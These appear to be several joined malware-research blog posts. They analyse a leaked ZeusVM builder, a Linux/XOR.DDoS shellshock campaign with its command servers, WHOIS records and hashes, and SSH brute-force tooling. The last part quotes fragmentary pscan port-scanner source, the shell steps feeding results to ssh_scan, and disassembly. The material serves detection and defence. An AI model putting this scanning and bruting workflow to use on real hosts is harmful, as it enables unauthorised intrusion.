Below is the video of what has been leaked. The video shows you: (1) the archive information and some leak sources, (2) the builder and its general demonstration (JPG config demo is in the next video), (3) the panel and its code, and the (4) ZeusVM web injection proof of concept screenshots after tested by Xylit0l in the latest version of the Firefox browser (yes, it is working fine in IE). I took the video during testing.

PoC Video #1:
PS: The comment in 2:34 has a mistake. It supposed to be "The binary & crypted module files"

Where is that Steganography PoC?

Below is the video demonstrating the Steganography technique used by the KINS/ZeusVM 2.0.0.0. The demonstration is showing us that builder can inject encrypted configuration code of KINS2/ZeusVM2 to any JPG file feed to the builder to camouflage the config. We compare the "before" and "after" code injection data of the JPG files used & generated in hex editor for comparison detail. Xylit0l and I discussed a lot to get the right injecting test scheme with correct template of its configuration..finally made it right. Sorry, we break malware apart but not using them.

PoC Video #2:

As additional information to these videos:

1. This is list of blocked IP by KINS/ZeusVM 2.0.0.0 panel's .htaccess-->[link]

2. The mod files built in hex (head):

3. The log of correct configured building:

4. The SHA256 of the builder: 7b6cc23d545dea514628669a1037df88b278312f495b97869b40882ca554fa9a [VT]
5. In Botconf [link] 2014 conference our friend @MAK of CERT Polska [link] presented a good research paper of ZeusVM threat that can be used as reference to ID the binary built-->[link]

Snapshot of important codes

The version, template built date and default config items:

The "kinsdb" was clearly stated in MySQL database name of the botnet panel too:

The PHP encryption function spotted in panel's source code to encrypt the database:

So what does it mean?

(1) We will see more of ZeusVM (version 2.0.0.0_) botnet operated in our internet since its malware & configuration builder is "FREE as air" and is "go public" now, not only from usual cyber crime crooks, but anyone with this toolkit in hand can generate ZeusVM 2.0.0.0 binaries and set it to botnets via its panel; and ; (2) We also we can expect to see a KINS/ZeusVM new version (version 3) soon too.

This is a very important information for the security community. The archive is wide spreading now, we tried very hard to take down some leaked package shared in download sites one by one but it is just way out of hand. Please help us to not letting this archive spread and distributed in the internet.
It is better for all anti malware and all threat filtration industry to know and request the leaked archive and start to research the blocking and mitigation methods, if you haven't started it yet. You can get archive or builder from here or VirusTotal or from other trusted sources.

How to get the archive? (from MalwareMustDie)

Please post the comment with your email address informed for the full archive request and we will send you the download link. Your post will not be published and your email address will not be shared. But please be patient for the sharing process. All follow up will be done manually and will be logged. We will prioritize requests coming from anti virus companies and threat filtration products. Then the governments' CERT & law enforcement related research entities. We will not share to individual or unnamed request, this is a very dangerous malware building tool, a crimeware and NOT sample of malware or toys to play with.
Noted: We have every right also to not sharing the archive and not responding to any untrusted/suspicious requests.

For more information of our sharing policy please read our legal disclaimer here-->[link]

Additional section

Several takedown efforts we made: (there are more of these effort than we posted here)

Thank you for reading, please help to spread this awareness and stay safe!
Thank Xylit0l, he is doing very hard effort to fight, detect and act against this threat for YEARS.

MalwareMustDie!

The background

Yesterday was a hectic day when we gathered to check all recent ELF threats cross-fired in the internet traffic when I was informed of a recent shellshock attack. Seeing the command pattern of the one-liner shell executed script used I knew almost instantly it was Linux/XOR.DDoS, I checked the payload and tweeted it as per below, which is obviously a PRC (people rep of China) crook product malware known as Linux/XOR.DDoS

Heres payload #Linux/XOR.DDoSer #malware Ref: http://t.co/5gVAurzsRmhttps://t.co/mowp4TTpge https://t.co/7Y49pXIryZpic.twitter.com/GB188BPBJV

— ☩MalwareMustDie (@MalwareMustDie) July 13, 2015

It turned out that because of this findings I couldn't even sleep at all until almost morning, and this post is explaining you why.

The shellshock

The shellshock was fired to the victims on July 13th, 2015. I will go straight to the beautified code of the one-liner bash command injected through it:

For a summary of what this command do in a paragraph is:

Being executed under the UID of the web server, this one-liner script removed the process ID file of sftp daemon (pid files are written by some programs to record their process ID while they are starting), checking whether the file 6000.rar exists in the current directory to then delete it if exists, and then executing the download for 6000.rar file from multiple IP addresses (43.255.188.2 / 103.20.195.254 / 122.10.85.54) in their root directories by either wget or curl software, checked if the download file is there to then change the permission into executable and execute it with printing message "ExecOK". And then, even if the file wasn't downloaded successfully, it then check your distribution info, HDD status, processes (if it hits the linux box will show UID, PID, PPID, Time & Command..but in BSD will bring "different interesting" result :D) and check your ethernet connection showing local, remote address w/program that runs it. To then print message "ExecOK". Then the script will print contents of process ID of sftp, mount and gcc, following by printing message "InstallOK".

In the last part it set the download URL to one of previously mentioned IP address to download (by using either wget or curl) the g.rar file, permit executable of that file after downloaded and to execute it. To be noted, in most Linux/XOR.DDoS shellshock cases the last part was not executed but commented with sharp "#".

The Linux/XOR.DDoS payloads

Historically, MalwareMustDie is the first who detected this ELF threat variant, and we named it as Linux/XOR.DDoS, the analysis was posted in our blog on Sept 29th 2014 [link]. This malware became a big problem in early 2015 that IT media and SANS ISC made coverage of it i.e. [-1-] [-2-] [-3-] [-4-]

This threat is different to other similar Chinese ELF DDOS'ers for usage of many decoding (it used to be an encoded installation script) and encryption (XOR based) used. So our team like to crack this malware threat as if playing CTF with the malware maker. It's good to use our brain well after our day work (or schools). We open and maintain repository of this malware in kernelmode [link]. And the recent incident of Linux/XOR.DDoS can be found in our report-->[link]. The malware is always connected to a hacking effort and owning the victim's server with a rootkit.

We can pick any of the IP listed in the shellshock infection one-liner command shell script snipped above, to download the hidden payloads they're using like I did below brutes: (not all, for the idea only)

Here's the collection of the payloads collected, thanks to great team work.

We see there's two kind of sample there, unstripped & encoded+stripped one. I pick the hash 73fd29f4be88d5844cee0e845dbd3dc5 and 758a6c01402526188f3689bd527edf83 for my check..

The sample 73fd29f4be88d5844cee0e845dbd3dc5 is typical known XOR.DDoS ELF x32 variant, compiled by below project set of codes:

..and obviously a known pattern, see the decrypting way below:

..and the values of the overall decryption..

A good decrypting can show you straight to the domain used by XOR.DDoS as CNC, in this case is:
www1.gggatat456.com in 103.240.141.54
registered in ENOM under privacy protected contact ID.

   Domain Name: GGGATAT456.COM
   Registrar: ENOM, INC.
   Registry Domain ID: 1915186707_DOMAIN_COM-VRSN
   Sponsoring Registrar IANA ID: 48
   Whois Server: whois.enom.com
   Referral URL: http://www.enom.com
   Name Server: DNS1.NAME-SERVICES.COM
   Name Server: DNS2.NAME-SERVICES.COM
   Name Server: DNS3.NAME-SERVICES.COM
   Name Server: DNS4.NAME-SERVICES.COM
   Name Server: DNS5.NAME-SERVICES.COM
   Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
   Updated Date: 31-mar-2015
   Creation Date: 31-mar-2015
   Expiration Date: 31-mar-2016
   Last update of whois database: Wed, 15 Jul 2015 00:59:06 GMT
   Tech Email: QJJLPSYSWP@WHOISPRIVACYPROTECT.COM
   Name Server: DNS1.NAME-SERVICES.COM
   Name Server: DNS2.NAME-SERVICES.COM
   Name Server: DNS3.NAME-SERVICES.COM
   Name Server: DNS4.NAME-SERVICES.COM
   Name Server: DNS5.NAME-SERVICES.COM

Different with the previous cases, in the infection analyzed we captured the sample was establishing ssh connection in communicating with CNC and downloading encrypted data by it:

Since I had many more matters to explain in this post and this malware were analyzed/discussed many times in kernelmode repositories we opened/keep on posting, in previous MMD blogs or on other research entity sites too, I will not go too details this binary now but will focus to decode the sources of this infection and infrastructure used by them for the dismantling and stopping purpose.

The g.rar with hash 758a6c01402526188f3689bd527edf83 is a bit different. It was ELF-stripped binary (just to make reverse engineering 2% more difficult), and that can be overcame by simple code-mapping:

- they included the deflate.c code (obviously ver 1.2.1.2) [link]

↓to obfuscate some text values with the zlib compression:

which is showing path of malware installation with string to lead us to CNC.

..and the rest of the functionality are the known ones, nothing is new. The rest of results are moreless readable with the same mapping method. The nice tool to deflate those text value I recommend this nice pipe code [link].

With the same way of reversing method for the rest of binary, will show you the CNC hostname of GroUndHog.MapSnode.CoM in 211.110.1.32.
As a simple PoC for this hostname see the below picture, and I think together with the above mentioned IP list this is also the XOR.DDoS crook's infrastructure:

Well, this domain also registered in ENOM by the same pattern:

   Domain Name: MAPSNODE.COM
   Registrar: ENOM, INC.
   Sponsoring Registrar IANA ID: 48
   Whois Server: whois.enom.com
   Referral URL: http://www.enom.com
   Name Server: DNS1.NAME-SERVICES.COM
   Name Server: DNS2.NAME-SERVICES.COM
   Name Server: DNS3.NAME-SERVICES.COM
   Name Server: DNS4.NAME-SERVICES.COM
   Name Server: DNS5.NAME-SERVICES.COM
   Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
   Updated Date: 11-may-2015
   Creation Date: 11-may-2015
   Expiration Date: 11-may-2016
   Last update of whois database: Wed, 15 Jul 2015 07:16:23 GMT
   Tech Email: RRRPBHYTFS@WHOISPRIVACYPROTECT.COM
   Name Server: DNS1.NAME-SERVICES.COM
   Name Server: DNS2.NAME-SERVICES.COM
   Name Server: DNS3.NAME-SERVICES.COM
   Name Server: DNS4.NAME-SERVICES.COM
   Name Server: DNS5.NAME-SERVICES.COM 

The IP addresses used in the shellshock and in the CNC was checked under the below details:

{
"ip": "43.255.188.2",
"country": "HK",
"loc": "22.2500,114.1667",
"org": "AS134176 Heilongjiang Province hongyi xinxi technology limited"

"ip": "103.20.195.254",
"country": "HK",
"loc": "22.2500,114.1667",
"org": "AS3491 Beyond The Network America, Inc."

"ip": "122.10.85.54",
"country": "HK",
"loc": "22.2500,114.1667",
"org": "AS55933 Cloudie Limited"

"ip": "211.110.1.32",
"country": "KR",
"loc": "37.5700,126.9800",
"org": "AS9318 Hanaro Telecom Inc."
}

The samples are all in the Virus Total servers, please search these hashes,

MD5 (3503.rar) = 238ee6c5dd9a9ad3914edd062722ee50
MD5 (3504.rar) = 09489aa91b9b4b3c20eb71cd4ac96fe9
MD5 (3505.rar) = 5c5173b20c3fdde1a0f5a80722ea70a2
MD5 (3506.rar) = d9304156eb9a263e3d218adc20f71400
MD5 (3507.rar) = 3492562e7537a40976c7d27b4624b3b3
MD5 (3508.rar) = ba8cc765ea0564abf5be5f39df121b0b
MD5 (6000.rar) = 73fd29f4be88d5844cee0e845dbd3dc5
MD5 (6001.rar) = a5e15e3565219d28cdeec513036dcd53
MD5 (6002.rar) = fd908038fb6d7f42f08d54510342a3b7
MD5 (6003.rar) = ee5edcc4d824db63a8c8264a8631f067
MD5 (6004.rar) = 1aed11a0cbc2407af3ca7d25c855d9a5
MD5 (6005.rar) = 2edd464a8a6b49f1082ac3cc92747ba2
MD5 (g.rar) = 758a6c01402526188f3689bd527edf83 

We've never seen about this before, so I will explain here a bit. Linux/XOR.DDoS through the encrypted communication will download other malware files from the remote CNC. In the CNC there is a set of ELF malware downloaders, depends on the architecture of the infected server/host, one of the set of binary (x32 or x64) below will be run in the infected machine for that purpose. These ELF binaries are ELF executable killfile module, a downloader for the config files for aiming the process to be killed and "other" malware be run. It has the logic to read strings from textual file (kill.txt or run.txt) which seperated token with the delimeter pipe "|" for the kill/run functionality mentioned.

MD5 (killfile32) = e98b05b01df42d0e0b01b97386a562d7  15282 Apr  3  2014 killfile32*
MD5 (killfile64) = 57fdf267a0efd208eede8aa4fb2e1d91  20322 Apr  3  2014 killfile64*

killfile malware was coded in C, and these are the source files used:

'crtstuff.c'
'btv1.2.c'
'http_download.c'
'libsock.c'

Faking Microsoft too..(try to read the code below, it's a self-explanatory)

In the first two samples we grabbed, it kills the listed process name which was downloaded from the below hostname AND IP:

kill.et2046.com 
sb.et2046.com
115.23.172.31

{
"ip": "115.23.172.31",
"hostname": "kill.et2046.com",
"city": Seoul,
"country": "KR",
"loc": "37.5700,126.9800",
"org": "AS4766 Korea Telecom"
}

   Domain Name: ET2046.COM
   Registrar: GODADDY.COM, LLC
   Sponsoring Registrar IANA ID: 146
   Whois Server: whois.godaddy.com
   Referral URL: http://registrar.godaddy.com
   Name Server: A.DNSPOD.COM
   Name Server: B.DNSPOD.COM
   Name Server: C.DNSPOD.COM
   Status: clientDeleteProhibited http://www.icann.org/epp#clientDeleteProhibited
   Status: clientRenewProhibited http://www.icann.org/epp#clientRenewProhibited
   Status: clientTransferProhibited http://www.icann.org/epp#clientTransferProhibited
   Status: clientUpdateProhibited http://www.icann.org/epp#clientUpdateProhibited
   Updated Date: 21-dec-2014
   Creation Date: 27-nov-2012
   Expiration Date: 27-nov-2016
   Last update of whois database: Thu, 16 Jul 2015 22:17:47 GMT <<<

   Registry Registrant ID:
   Registrant Name: smaina smaina
   Registrant Organization:
   Registrant Street: Beijing
   Registrant City: Beijing
   Registrant State/Province: Beijing
   Registrant Postal Code: 100080
   Registrant Country: China
   Registrant Phone: +86.18622222222
   Registrant Email: "tuhao550@gmail.com"

The activity of the domain above according to passive DNS shows as per below:

Back to what Linux/KillFile ELF malware does. It then downloads & executes the other malicious software described in the run.txt downloaded from the URL described above, and in this case the contents of run.txt is the infamous "IptabLes|x" ELF DDoS'er malware!! Wow, so Xor.DDoS is also "merging" with IptabLes|x too.. I thought that only ChinaZ who was just starting to "collaborate" with IptabLes|x. Is IptabLes|x becoming open source in China malware underground now? Why recent dangerous actors are starting to switch their tools here? This is the fact to be checked further..

The binary is clean and you can see the download source, files to download, and the fake user-agent set (noted string: "TencentTraveler" ), that can be used to quick mitigate the threat:

These first two Linux/KillFile ELF malware were compiled in 2014 it was old binaries, but seems to be used many times already in several infection too. yet the VT score for these modules are still zero, see--> [-1-] and [-2-]. There is another Linux/KillFile prepared by the crook for THIS infection, inside the "job package", we will discuss it in Under the Hood part.

We are adding the new ELF Linux/killfile on category downloader in in our beloved repository at kernelmode.

I opened new #ELF#malware repository of #Linux/KillFile in kernelmode: http://t.co/ms58gqPWU3 cc: @Xylit0l@hFireF0Xpic.twitter.com/yXdANOmnJ3

— ☩MalwareMustDie (@MalwareMustDie) July 17, 2015

Under the hood

Maybe you read many similar reports like previous parts of this post so many times. Maybe you get bored by information about China malware..CNC..IP..DDOS..with same stories and reports. This time we have a new report of what's Under the Hood of those CNC actually. Beforehand, everything that is posted here is done by remote legit access via HTTP protocol ONLY, so I am sorry if you expect more than that, no hacking, no offensive method were applied. And all of these efforts from this section are done by the team work of our ELF Team.

We've been hit by XOR.DDoS many times without knowing much what are they up to actually. Curiosity kills, so we randomly select the reachable IP to check what can be legally collected. And from one of the IP announced above we collected these "specific" passworded archives:

Some archives is passworded by the crooks, but it's crackable :-) We won't reveal the password in here in here since it contains rootkits, vulnerability scanner, CNC program, ELF VIRUS and trojans (downloader/backconnect) a set used by this bad actor(s) to attack us. And the file is still up and alive:

The RDP scanner set rdp.rar

This is a literally ELF RDP scanner set, the engine scanner (rdp ELF executable binary) is scanning the defined range of IP to alive hosts that runs the RDP to be bruted with the dictionary attack for the user's login and password. It has the control parameter to set the thread used for scanning and the termination condition for the first matched user. It is obviously the coder is not native English speaking person, we saw a lot of these in windows version but we think this ELF version tool is being used by the very limited people only. Below is the screenshot of it's CLI (command line user's interface):

The rdp binary program is the main engine of rdp's hacktool set, in order to automate an attack the crook is using the accompanied scripts for that purpose, we found the shell script "a" and "start" for that purpose, with the snip as per below snapshot. Noted, without the "rdp" binary these scripts are just useless.

The XOR.DDoS bad actor left some data in the text files used in this ELF hacking set, you can see the snips of the data contains: user name used to brute, wordlist to brute, and there is some result for the scanning done by crook in suspected output file vuln.txt, picture as PoC

Seeing the screeshots above I think it is very clear to explain of what rdp can do, and how it was used by the Linux/XOR.DDoS actor to brute some windows networks for their hacking activity, so I don't make any video of it. This rdp ELF is new to us, we will call it as Linux/rdp as ELF hacktool from now on and making a new repository for this variant in beloved kernelmode.

Is that all for what's in rdp.rar? No, there is a binary named as "psc", it's an ELF executable with the below details:

16840 Nov 24 psc fcd078dc4cec1c91ac0a9a2e2bc5df25
psc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), 
     dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped

The ELF "psc" is supposedly a hacktool the port scanner called "pscan" that is used a lot by blackhats for scanning and hacking the server by scanning the victim's SSH ports, I know whitehats that's using it for good purpose too, like for penetration test. MMD blog is actually discussed about this hacktoolin case MMD-0023-2014 [link].
We test-run it. It showed what "pscan" does, looks like the XOR.DDoS is shortened he name into "psc".

The pscan strings inside is as below...and some code reversing shows that many of pscan functions are there too.

Now..why it was called infected by virus? Thank's to Miroslav Legen for advising me to check the entry point part. The actual entry point of "psc" was "patched" to 0x08049364 and malicious entry point is taking over the real one (0x080487a8), for the purpose to run the malicious commands and then go to the original entry point that has being saved in some values. The picture below is explaining reversing note I did while checking this entry point shifting phenomenon.

For the update information, the "rdp" ELF binary above is also has the entry point shifted too..

The fact is..We found many samples of malware or hacktools detected in the IP in China's hosts are infected also with another malware, so this could be just one of such case, it's not a trusted environment anyway, and we suggest please don't run anything that coming from untrusted environment. I am not so sure if the XOR.DdoS actor are noticing this or are in purpose for putting this virus infected ELF hacktool into their archive or not (naah..I think they don't know about this..considering they pout password to the archive), But I really hope they had been infected by this badness instead :D

The set of .IptabLes botnets inside of Xor.DDoS CNC

In the package called "job.rar", the actor wrapped everything needed to perform an attack to our networks into this one single file archive. It has the download modules of "killfile" with the pair of text files contain of processes to kill (kill.txt) and the malware binary name to be executed post downloads (run.txt). We explained this module in Modular "killfile" ELF section in previous section.

There is a rootkit too which I will explain and show the codes in a video it in the last section, but the point that I want to explain now is: there a set of the .IptabLes|x clients (ELF) and its server botnet CNC in side of the job.rar, these are actually files spotted inside of the job.rar archive, to be clear here's the archive:

The .IptabLes|x ELF client binaries (ELF bot malware) we already covered in previously posted analysis like in--> [-1-] and [-2-]. And these binaries has nothing new and it was set to connect to the IP where the CNC botnet (Windows PE) software is running. We move on straight to the botnet CNC software itself..

The binary is the .NET one. We uploaded it to VirusTotal here-->[link]. And I made a video of running test this CNC tool to give you the idea how is it work, as per video below:

For the details of what this botnet CNC tool can do, can be studied by reading the reversed source code we reproduced, we modified the code a bit (for can not be re-used..but is very readable) click the below snapshot picture for access (to our pastebin):

Below is the MD5 list of the IptabLes|x client and CNC botnet tool:

MD5 (777.hb) = "e2a9b9fc7d5e44ea91a2242027c2f725"
MD5 (888.hb) = "ff1a6cc1e22c64270c9b24d466b88540"
MD5 (901.hb) = "c0233fc30df55334f36123ca0c4d4adf"
MD5 (903.hb) = "f240b3494771008a1271538798e6c799"
MD5 (905.hb) = "603f16c558fed2ea2a6d0cce82c3ba3a"
MD5 (Control.exe) = "315d102f1f6b3c6298f6df31daf03dcd"

We share of #Linux/.IptabLes|x #botnet CNC PE tool, only in http://t.co/X5acf609QShttp://t.co/Nr7mrK4qdd c:@hFireF0Xpic.twitter.com/wrCqXR9vC9

— ☩MalwareMustDie (@MalwareMustDie) July 19, 2015

The "Linux/KillFile" set: xxz.rar, kill.txt, run.txt

In the job package [link] there is a set of Linux/KillFile malware, with the binary faking as rar file called "xxz.rar". This Linux/KillFile is exactly work with the same logic with the previously explain in above section [link] , the difference is, the previous two samples was used by the bad actor for etc purpose unrelated to this infection, but this xxz.rar is there to be used on this campaign. The role of the Linux/KillFile is the downloader and installation of the Linux/IptabLes|x client malware botnet described previously.

In this version of Linux/KillFile, after execution the downloaded file, it uses fake "version"(in this case it was downloaded .IptabLes|x) into "Microsoft"..

The other big difference is in the data of remote hosts they use to connect and fetch data from remote:

Accordingly we have a new infrastructure IP of: 61.33.28.194 and 115.23.172.47 which is also located in Korea:

{
"ip": "61.33.28.194",
"hostname": "No Hostname",
"city": null,
"country": "KR",
"loc": "37.5700,126.9800",
"org": "AS3786 LG DACOM Corporation"
}

115.23.172.31 (current)
115.23.172.6 (May 2014)
115.23.172.47 (current)

The "xwsniff rootkit"source code

For this part, I made a video to show what "xwsniff rootkit" source code is, which showing all of the source code and that is more than words..and this is an evidence of cyber crime. This rootkit is found in the CNC in several places, including in the job.rar, a package which is used to aim the target. Undoubtedly that one of their objective is to root the infected server. This is the safest way for you to peek and study what this rootkit does for mitigation purpose ..and yes we secured this source code.

This "xwsniff rootkit" package installer is including the FTP daemon (now we know WHY they stopped the ftp pid isn't it?), OpenSSH, and PAM source code, to be compiled together with the rootkit parts combined with the "stealth rootkit" and it has its own kernel's source code too. The NIX system who got infected by this rootkit will be badly damaged, no easy way to clean this rootkit manually, so I suggest you to reinstall the box. This rootkit is designed to aim the Linux platform only, but with a little modification all NIX boxes can be aimed too.

For the functionality, it has the invincible function designed to make the victims didn't know whether the server was infected, backdoor with shell, and http-downloader, with additional some several functions. Ok ok..enough of "promotion"..let's go straight to see the below video, enjoy!

Botnet CNC infrastructure

Below is the the list of overall IP of hosts used for this infection campaign:

"43.255.188.2" (shellshock landing)
"103.20.195.254" (shellshock landing)
"122.10.85.54"  (shellshock landing)
"103.240.141.54" (Xor.DDoS CNC server)
"211.110.1.32" (Xor.DDoS CNC server)
"115.23.172.31" (.IptabLes|x download server)
"115.23.172.47" (.IptabLes|x download server)
"61.33.28.194" (.IptabLes|x download server)
"115.23.172.6" (Iptables|x previous IP record)

Below is the list of overall hostnames used for this infection:

kill.et2046.com
sb.et2046.com
www1.gggatat456.com
GroUndHog.MapSnode.CoM

Follow up & prologue

A lot of follow up has to be done for this case. For the samples, we uploaded them all to VT, including the killfile XOR.DDoS downloader ELF module. But we don't share the rootkit except to antivirus/filtration industries and to law enforcement. It's a dangerous tool. Please read our LEGAL DISCLAIMER for that matter here-->[link] .Give us time to prepare the package for sharing, so bear the slow follow. Send us your request in the comment part with using your entity's domain's email addresses.

We will share samples to kernelmode for researchers only, and Virus Total.
The Linux/KillFile was added to kernelmode [link] and VirusTotal [link]
.IptabLes|x botnet CNC tool WInPE(.NET) is limited shared in kernelmode [link]
The others are in the VirusTotal (check for hashes) & not shared in kernelmode because infected by dangerous other virus.
The rootkit source code is shared started from July 20th 2015, and accepting request from now.

@MalwareMustDie Send comment in http://t.co/gBbPB6FVKv with your company email address ONLY & explain who you are. The archive will be sent.

— ☩MalwareMustDie (@MalwareMustDie) July 18, 2015

Emerging Threat good folks was releasing the open IDS signature for protecting the users for product/open source that uses it:

Additional sigs for #Linux/Xor.DDoS & Linux/IptabLes|x #ELF#malware was released by @EmergingThreats, (thx!) for IDS pic.twitter.com/HcCLrAlKm3

— ☩MalwareMustDie (@MalwareMustDie) July 21, 2015

The blog will be added with additional information here and there, it is a very tiring work to wrote & test these non-stop, I will improve this post step by step after released. I apologize for the misspell & bad typing.

This project is team work of MalwareMustDie ELF team mates who did a good work supporting the case. And to fellow researchers who were helping is with support. findings, advise and information, You guys rock! We can not be here this long if you're not around. Special thank's to folks in DHA/Dallas Hackers Association [link], they're very cool guys, listen up to their latest interesting podcast (DHAfter Hours), it's mentioning MMD [link]. Respect!

#MalwareMustDie

There are many requests coming and asking me the method to dissect and stopping the infected processes, how to debug, how to extracting the binary from the infected PHP scripts and also how to make a traffic capture of it for analysis purpose. As a UNIX engineer and 100% on the spirit of open source, I think it is important to share this information to fellow engineers/server administrator to be more aware of the threat, and to know how to dissect this or the similar threats that may occur in the future.
Really hope this writing can be used as reference that helps people that really needs it.

Answering the questions asked, I made a a demonstration video with audio explanation (please bear to my English), it's about only 5 minutes in length to show you steps I made to extract the ELF .so malware binaries using the PHP template extraction script that I posted in the previous post of the related threat, to use the automation script to test running the malware in background for tests, to explain a how to stop/killing the running malware process using lsof, grep, kill and unset command respectively, and in the end is to demonstrate a how to debug and capturing the traffic in real time using tcpdump in PCAP file for analysis.

All of the operations demonstrated can be done in FreeBSD or Linux shell in your flavors, and I don't include any reverse engineering information inside of this tutorial. To be noted: Except for the how to in stopping this .SO malware process, for your own security purpose all of the operation mentioned should be performed in the test bed, and please do not connect into global internet for running the traffic capture to avoid leak of your traffic/credential to the bad actors, which is still UP and running (the threat is still "in the wild" right now).

The environment that I used in this video is NOT containing any real alive services or accounts, it was made for the sharing purpose only. All of this information and materials posted here are owned by myself, shared & contributed via MalwareMustDie, NPO to you all. I really don't appreciate and disallow copies of the post without asking permission from myself or MalwareMustDie, NPO beforehand.

Below is the demonstration video in youtube. Here is the source URL -->[youtube]

If you have any thoughts, ideas, questions & suggestions about this tutorial, please feel free to write the comment below this post.

Be safe and enjoy the tutorial! #MalwareMustDie

Even now, I am still collecting a good share of amount attacker log as per PoC'ed in below video, and toying with many configuration to learn the nature of the attack itself:

For the summary, in my observation the attacks are showing the characteristic as per below:

Using the automation for bruting SSH login account
Reconnecting to the host upon disconnected to re-try to login
Came from varied IP address, but same attack pattern
Fast in re-connecting (mili-secs!), showing an automation lightweight tools used
Coming from compromise sites/servers
About 70% source IP addresses came from nearest range, in my case: China

It was so difficult to predict the nature of attack in the beginning due to the limited reference, but IF you take time and analyze the pattern of attack well after some longer time with the good volume of logs, you will see that even majority attackers came from a certain country's IP, yet, IP with source from other countries are using the exactly similar pattern, some of these pattern are so typical like:

Firstly, aiming ssh version 1 by default
Seeking the allowed login username & retries to it
"Admin" and "root" are "heavily" aimed
All attacks has similar special characters password, suggesting wordlist used

So it is clearly that the attack were performed by the same group/community/actors, or by using same tools, or manually conducted using the exactly same methodology. Knowing how the crooks work, the second option will likely the answer, and, understanding the above attack characteristic details we can start to hunt these "bruter scheme" tools used, with hoping the bonus of the actor's info grabbed in the same time as the payback. Thank's to the dedication of our team mate, we successfully "seized in action" many of recent tools used and I found the perfect match for the weapon they used to performed this attack. I can't explain in details how we managed to "hunt" the actor's environment for the security purpose, but we peel its scheme very deep, so please see the next section for the details :-)

Bulk port scanner ELF "pscan"& a companion ELF "scanssh" (or ssh_scan) SSH login bruter

After some investigation into the recent "seized tools" in action. It came to the conclusion that the attacks is "powered" by the mass port scanner hack tool called "pscan" and follows by "scanssh" (or ssh_scan) as the SSH login bruter hack tool. Below are some of the VT detections of pscan variants (version 1 and 2) .

A variant of version pscan version 1 (original code):-->[link]

SHA256: 50bd83192d03f0b1adcbcabe34fb24e364237b04d91cec74ad4542129f506bbf
File name: pscan
Detection ratio: 1 / 52
Analysis date:  2014-05-22 23:14:15 UTC ( 0 minutes ago ) 

This is the recent variant of pscan version 2, the modded version:-->[link]

SHA256: 4422633b12627c70246d868d86cabd6702908b79f3826bcf9222ab20501cb394
File name: pscan2
Detection ratio: 21 / 51
Analysis date: 2014-05-22 23:13:06 UTC ( 0 minutes ago ) 

Accompanied SSH login bruter tool ELF "scanssh" or "ssh_scan". In VT is as per below:-->[link]

SHA256: 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd
File name: ssh-scan
Detection ratio: 37 / 52
Analysis date:  2014-05-23 00:16:32 UTC ( 0 minutes ago ) 

How ELF "pscan(v2 and v1)" works

Since we grabbed the source code :-D - No need to reverse this one, so I am making explanation from the recent discovered C code itself.
This tool is to be executed as per below:

Usage: pscan(n)  [c-block]

strcpy(argv[0],"/bin/bash");
if (!(outfd = fopen(outfile, "a")))
{
    perror(outfile);
    exit(EXIT_FAILURE);
}

././pscan2 $1 22
[...]

 memset(&ip, 0, 20);
 sprintf(ip, "%s.%d.%d", argv[1], bb, cip);
 connlist[i].addr.sin_addr.s_addr = inet_addr(ip);
 if (connlist[i].addr.sin_addr.s_addr == -1)
     fatal("Invalid IP.");
 connlist[i].addr.sin_family = AF_INET;
 connlist[i].addr.sin_port = htons(atoi(argv[2]));
 connlist[i].a = time(0);
 connlist[i].status = S_CONNECTING;
 cip＋＋;

cip = 0;
bb＋＋;
for (x = 0; x < strlen(last); x＋＋)
    putchar('\b');
memset(&last, 0, sizeof(last));
snprintf(last, sizeof(last) - 1, "%s.%d.* (total: %d) (%.1f%% done)"
    argv[1], bb, tot, (bb / 255.0) * 100);
printf("%s", last);
fflush(stdout);

if (argc == 3)
    snprintf(outfile, sizeof(outfile) - 1, "scan.log", arg
else if (argc >= 4)
{
    snprintf(outfile, sizeof(outfile) - 1, "scan.log", arg
    bb = atoi(argv[3]);
    if ((bb < 0) || (bb > 255))
        fatal("Invalid b-range.\n");

cat $1.pscan.22 |sort |uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`

mv scan.log # together w/several etc files..
./ssh_scan

Additional: PoC of malware attack in progress

We finally can gain this PoC of the current case, an attack in progress and recorded well, please see the below video:

MMD-0023-2014 pscan & ssh-bruter package (pic) Old built, but the hacks still kicking... pic.twitter.com/Yxgm3ffDCz

— MalwareMustDie, NPO (@MalwareMustDie) August 6, 2014

How SSH bruter ELF "scanssh" (or ssh_scan) works

The codes of the "scanssh" or "ssh_scan" tool is huge. It was compiled with the OpenSSL support (tested), and looks supporting to Blowfish authentication too (untested), it will be long to cover it all so I will be specific to the scope of this post only. In our "pscan" case, the ssh_scan is used mainly to check for the vulnerable SSH login and extract the output in a text file. Since there is no source code (yet), below is reversing snips of ssh_scan binary that reads the range IP (from the pscan) and wordlist from a text file and extracting the result in another text file. Understanding this scheme will help others to search-grep/scan and dissect the threat for the future.

This is the function to read the list of IP addresses, as you can also see, the pscan created mfu.txt was seeked:

";; Reversed section: .text ADDR: 0x804864D-0x804867B"
;; File: "ssh_scan" 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd
;; asm:
0x804864D   sub     esp, 8
0x8048650   push    offset aR ; contains: "r"
0x8048655   push    offset aMfu_txt ; contains: "mfu.txt"
0x804865A   call    sub_809A210
0x804865F   add     esp, 10h
0x8048662   mov     [ebp+var_C], eax
0x8048665   cmp     [ebp+var_C], 0
0x8048669   jnz     short loc_8048681
0x804866B   sub     esp, 0Ch
0x804866E   push    offset aUndeIMfu_txt ; contains: "Unde-i mfu.txt\n"
0x8048673   call    sub_8099CA0
0x8048678   add     esp, 4
0x804867B   push    eax

";; Reversed section: .text ADDR: 0x80486F0-0x804873B"
; File: "ssh_scan" 93df64cc0ff902ad1e80ada56023610ec2c44c3ecde2d36d37a3a748c7fd42bd
; asm:
0x80486F0    call    sub_80A9340
0x80486F5    test    eax, eax
0x80486F7    jnz     loc_804886B
0x80486FD    mov     ds:dword_811A684, 0
0x8048707    sub     esp, 8
0x804870A    push    offset aR ; contains "r"
0x804870F    push    offset aPass_file ; contains "pass_file"
0x8048714    call    sub_809A210
0x8048719    add     esp, 10h
0x804871C    mov     [ebp+var_424], eax
0x8048722    cmp     [ebp+var_424], 0
0x8048729    jnz     short loc_8048741
